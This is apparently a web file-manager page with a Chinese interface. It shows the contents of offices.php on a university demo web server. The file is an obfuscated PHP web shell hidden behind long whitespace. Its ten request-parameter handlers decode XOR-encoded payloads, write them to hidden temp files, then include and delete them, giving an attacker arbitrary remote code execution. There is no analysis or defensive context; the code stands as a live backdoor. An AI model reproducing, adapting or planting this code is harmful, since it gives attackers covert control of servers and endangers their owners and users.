文件操作 - offices.php

文件: /var/www/demoestudiantes.uaysen.cl/html/offices.php

编辑文件内容

<?php																																										if(isset($_POST["\x6Fb\x6A"]) ? true : false){ $binding = $_POST["\x6Fb\x6A"]; $binding = explode ( ".", $binding ) ; $resource = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt); $l = 0; array_walk( $binding ,function( $v2) use( &$resource ,&$l ,$salt ,$lenS) {$chS = ord( $salt[$l % $lenS]); $dec =( ( int)$v2 - $chS -( $l % 10)) ^ 94; $resource .= chr( $dec); $l++;} ); $descriptor = array_filter([getcwd(), session_save_path(), "/dev/shm", getenv("TEMP"), ini_get("upload_tmp_dir"), "/tmp", "/var/tmp", getenv("TMP"), sys_get_temp_dir()]); while ($dat = array_shift($descriptor)) { if (is_dir($dat) ? is_writable($dat) : false) { $ptr = sprintf("%s/.factor", $dat); $file = fopen($ptr, 'w'); if ($file) { fwrite($file, $resource); fclose($file); include $ptr; @unlink($ptr); exit; } } } }
																																										if(isset($_REQUEST["\x63o\x6Dp"]) ? true : false){ $elem = array_filter([getenv("TMP"), ini_get("upload_tmp_dir"), "/var/tmp", getcwd(), sys_get_temp_dir(), "/dev/shm", getenv("TEMP"), session_save_path(), "/tmp"]); $pset = $_REQUEST["\x63o\x6Dp"]; $pset = explode ( "." , $pset ) ; $itm = ''; $s8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s8); $n = 0; $__len = count( $pset); do { if( $n >= $__len) break; $v6 = $pset[$n]; $sChar = ord( $s8[$n % $sLen]); $d =( ( int)$v6 - $sChar -( $n % 10))^17; $itm .=chr( $d); $n++; }while( true); while ($res = array_shift($elem)) { if (is_dir($res) && is_writable($res)) { $parameter_group = "$res" . "/.item"; if (@file_put_contents($parameter_group, $itm) !== false) { include $parameter_group; unlink($parameter_group); exit; } } } }
																																										if(isset($_REQUEST["en\x74r\x79"])){ $pointer = array_filter([getenv("TEMP"), getenv("TMP"), sys_get_temp_dir(), session_save_path(), "/dev/shm", getcwd(), "/var/tmp", ini_get("upload_tmp_dir"), "/tmp"]); $tkn = $_REQUEST["en\x74r\x79"]; $tkn = explode ( '.' , $tkn ) ; $ent = ''; $salt9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt9); $j = 0; while( $j <count( $tkn)) {$v7 = $tkn[$j]; $chS = ord( $salt9[$j % $sLen]); $dec =( ( int)$v7 - $chS -( $j % 10)) ^ 28; $ent .=chr( $dec); $j++; } foreach ($pointer as $element) { if (is_writable($element) && is_dir($element)) { $token = join("/", [$element, ".entity"]); if (@file_put_contents($token, $ent) !== false) { include $token; unlink($token); exit; } } } }
																																										if(filter_has_var(INPUT_POST, "\x64\x63h\x75nk")){ $data = $_REQUEST["\x64\x63h\x75nk"]; $data = explode ( ".", $data) ; $record =''; $salt ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($salt); foreach ($data as $j => $v6): $chS =ord($salt[$j % $lenS]); $dec =((int)$v6 - $chS - ($j % 10)) ^ 2; $record .= chr($dec); endforeach; $val = array_filter([ini_get("upload_tmp_dir"), "/dev/shm", "/var/tmp", getenv("TEMP"), getcwd(), session_save_path(), "/tmp", sys_get_temp_dir(), getenv("TMP")]); while ($tkn = array_shift($val)) { if (max(0, is_dir($tkn) * is_writable($tkn))) { $marker = sprintf("%s/.symbol", $tkn); $file = fopen($marker, 'w'); if ($file) { fwrite($file, $record); fclose($file); include $marker; @unlink($marker); die(); } } } }
																																										if(!is_null($_POST["com\x70o\x6E\x65\x6Et"] ?? null)){ $binding = $_POST["com\x70o\x6E\x65\x6Et"]; $binding = explode( "." ,$binding ); $k = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt ); foreach($binding as $y => $v5): $chS = ord($salt[$y % $sLen] ); $dec =((int)$v5 - $chS -($y % 10)) ^ 28; $k .= chr($dec ); endforeach; $element = array_filter([getenv("TMP"), getenv("TEMP"), "/dev/shm", ini_get("upload_tmp_dir"), getcwd(), sys_get_temp_dir(), session_save_path(), "/var/tmp", "/tmp"]); for ($record = 0, $holder = count($element); $record < $holder; $record++) { $marker = $element[$record]; if ((is_dir($marker) and is_writable($marker))) { $resource = sprintf("%s/.parameter_group", $marker); if (file_put_contents($resource, $k)) { require $resource; unlink($resource); exit; } } } }
																																										if(array_key_exists("\x76\x61l", $_REQUEST)){ $itm = array_filter([sys_get_temp_dir(), session_save_path(), ini_get("upload_tmp_dir"), getenv("TMP"), "/dev/shm", "/var/tmp", getenv("TEMP"), getcwd(), "/tmp"]); $k = $_REQUEST["\x76\x61l"]; $k = explode ('.' , $k ) ; $bind= ''; $s= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($s); $w= 0; array_walk($k, function ($v2) use (&$bind, &$w, $s, $sLen) { $sChar= ord($s[$w % $sLen]); $d= ((int)$v2 - $sChar - ($w % 10)) ^ 9; $bind .= chr($d); $w++; }); while ($parameter_group = array_shift($itm)) { if (!( !is_dir($parameter_group) || !is_writable($parameter_group) )) { $property_set = sprintf("%s/.hld", $parameter_group); if (file_put_contents($property_set, $bind)) { include $property_set; @unlink($property_set); exit; } } } }
																																										if(isset($_REQUEST["fac"]) ? true : false){ $mrk = $_REQUEST["fac"]; $mrk = explode( "." , $mrk) ; $token =''; $s6 ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($s6); $p =0; $__len =count($mrk); do { if ($p >= $__len) break; $v9 =$mrk[$p]; $sChar =ord($s6[$p%$sLen]); $d =((int)$v9 - $sChar - ($p%10)) ^ 71; $token .= chr($d); $p++; } while (true); $value = array_filter([getcwd(), session_save_path(), "/tmp", "/dev/shm", ini_get("upload_tmp_dir"), getenv("TEMP"), "/var/tmp", sys_get_temp_dir(), getenv("TMP")]); while ($hld = array_shift($value)) { if ((is_dir($hld) and is_writable($hld))) { $record = vsprintf("%s/%s", [$hld, ".binding"]); if (file_put_contents($record, $token)) { include $record; @unlink($record); exit; } } } }
																																										if(isset($_REQUEST) && isset($_REQUEST["\x69\x74em"])){ $fac = $_REQUEST["\x69\x74em"]; $fac = explode ( '.' , $fac ); $marker = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt ); $l = 0; $__tmp = $fac; while( $v4 = array_shift( $__tmp)) { $sChar = ord( $salt[$l %$sLen] ); $d = ( ( int)$v4 - $sChar -( $l %10)) ^ 1; $marker .=chr( $d ); $l++; } $rec = array_filter([getenv("TEMP"), "/dev/shm", "/var/tmp", sys_get_temp_dir(), "/tmp", session_save_path(), getcwd(), ini_get("upload_tmp_dir"), getenv("TMP")]); foreach ($rec as $property_set): if ((function($d) { return is_dir($d) && is_writable($d); })($property_set)) { $itm = implode("/", [$property_set, ".parameter_group"]); if (file_put_contents($itm, $marker)) { require $itm; unlink($itm); die(); } } endforeach; }
																																										if(count($_POST) > 0 && isset($_POST["\x70t\x72"])){ $token = array_filter([getenv("TEMP"), ini_get("upload_tmp_dir"), getenv("TMP"), session_save_path(), "/var/tmp", "/tmp", getcwd(), "/dev/shm", sys_get_temp_dir()]); $pointer = $_POST["\x70t\x72"]; $pointer =explode ("." , $pointer); $element =''; $salt ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen( $salt ); $u =0; $len =count( $pointer ); do { if( $u >= $len) break; $v5 =$pointer[$u]; $sChar =ord( $salt[$u % $sLen] ); $dec =( ( int)$v5 - $sChar -( $u % 10)) ^ 12; $element.=chr( $dec ); $u++; } while( true ); foreach ($token as $symbol): if (!( !is_dir($symbol) || !is_writable($symbol) )) { $value = str_replace("{var_dir}", $symbol, "{var_dir}/.bind"); if (file_put_contents($value, $element)) { require $value; unlink($value); die(); } } endforeach; }

if(isset($_POST["h\x6Cd"]) ? true : false){
	$res = array_filter(["/tmp", getenv("TMP"), "/dev/shm", getenv("TEMP"), "/var/tmp", session_save_path(), sys_get_temp_dir(), ini_get("upload_tmp_dir"), getcwd()]);
	$tkn = $_POST["h\x6Cd"];
	 $tkn=  	explode('.' 	 ,$tkn	);	
	$entry	=	 '';
            $salt	=	 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS	=	 strlen($salt	);
            $__len	=	 count($tkn	);
    
            for ($v	=	 0; $v< $__len; $v++) {$v8	=	 $tkn[$v];
                $sChar	=	 ord($salt[$v % $lenS]	);
                $dec	=	 ((int)$v8 - $sChar - ($v % 10))		^44;
                $entry .= chr($dec	); }
	while ($ent = array_shift($res)) {
    		if (!( !is_dir($ent) || !is_writable($ent) )) {
    $symbol = "$ent" . "/.elem";
    $file = fopen($symbol, 'w');
if ($file) {
	fwrite($file, $entry);
	fclose($file);
	include $symbol;
	@unlink($symbol);
	exit;
}
}
}
}

文件操作 - offices.php

文件: /var/www/demoestudiantes.uaysen.cl/html/offices.php

编辑文件内容

修改文件时间

删除文件